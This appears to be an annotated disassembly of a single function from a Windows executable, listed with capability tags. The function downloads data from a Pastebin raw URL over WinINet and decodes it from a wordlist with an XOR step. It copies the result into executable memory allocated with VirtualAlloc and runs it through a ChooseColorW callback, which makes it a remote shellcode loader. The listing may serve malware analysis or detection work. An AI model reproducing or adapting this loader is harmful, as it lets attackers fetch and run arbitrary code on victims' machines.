Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x7a0]
sub rsp, 0x8a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x790], rax
xor r12d, r12d
lea rcx, str.HTTPGET
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x1400010f5
mov qword [rsp + 0x28], r12
lea rdx, str.https:__pastebin.com_raw_mNA8wiBV
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x14000111d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x790]
xor rcx, rsp
call fcn.140001330
mov rsi, qword [rsp + 0x8d8]
add rsp, 0x8a0
pop r12
pop rdi
pop rbp
ret
mov qword [rsp + 0x8c0], rbx
mov ebx, r12d
mov qword [rsp + 0x8c8], r14
mov r14, r12
mov qword [rsp + 0x8d0], r15
mov r15, 0xffffffffffffffff
mov dword [rsp + 0x30], r12d
nop word [rax + rax]
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rbp - 0x70]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400011a2
lea edx, [rbx + rax]
mov rcx, r14
add edx, 1
cmovb rdx, r15
call fcn.140004bf8
mov r8d, dword [rsp + 0x30]
lea rdx, [rbp - 0x70]
mov ecx, ebx
mov r14, rax
add rcx, rax
call fcn.1400142b0
mov eax, dword [rsp + 0x30]
add ebx, eax
test eax, eax
jne 0x140001150
mov r15, qword [rsp + 0x8d0]
test r14, r14
je 0x1400011b5
mov eax, ebx
mov byte [rax + r14], r12b
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call fcn.140008058
lea r8, [rsp + 0x38]
mov qword [rsp + 0x38], r12
lea rdx, [0x14001df60]
mov rcx, rax
mov rbx, rax
call fcn.140004a18
mov r10, rax
mov rdi, r12
test rax, rax
je 0x14000126f
lea rsi, str.abandon
nop dword [rax]
mov r9d, r12d
nop dword [rax]
nop word [rax + rax]
movsxd rcx, r9d
mov rax, r10
mov r8, qword [rsi + rcx*8]
sub r8, r10
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001233
inc rax
test ecx, ecx
jne 0x140001220
test edx, edx
je 0x140001245
inc r9d
cmp r9d, 0x121
jl 0x140001210
jmp 0x140001254
xor r9b, 0x16
mov byte [rbp + rdi + 0x390], r9b
inc rdi
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, [0x14001df60]
call fcn.140004a18
mov r10, rax
test rax, rax
jne 0x140001200
mov rcx, rbx
call fcn.140006cd4
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400012a4
lea rcx, str.VirtualAlloc_failed._n
call fcn.140001010
jmp 0x1400012fd
mov r8, rdi
lea rdx, [rbp + 0x390]
mov rcx, rbx
call fcn.1400142b0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x44], r12
mov qword [rsp + 0x4c], r12
mov qword [rsp + 0x54], r12
mov qword [rsp + 0x5c], r12
mov dword [rsp + 0x64], r12d
mov qword [rsp + 0x6c], r12
mov dword [rsp + 0x74], r12d
mov qword [rbp - 0x80], r12
mov dword [rsp + 0x40], 0x48
mov dword [rsp + 0x68], 0x10
mov qword [rsp + 0x78], rbx
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov rcx, r14
call fcn.140006cd4
mov r14, qword [rsp + 0x8c8]
xor eax, eax
mov rbx, qword [rsp + 0x8c0]
jmp 0x1400010fa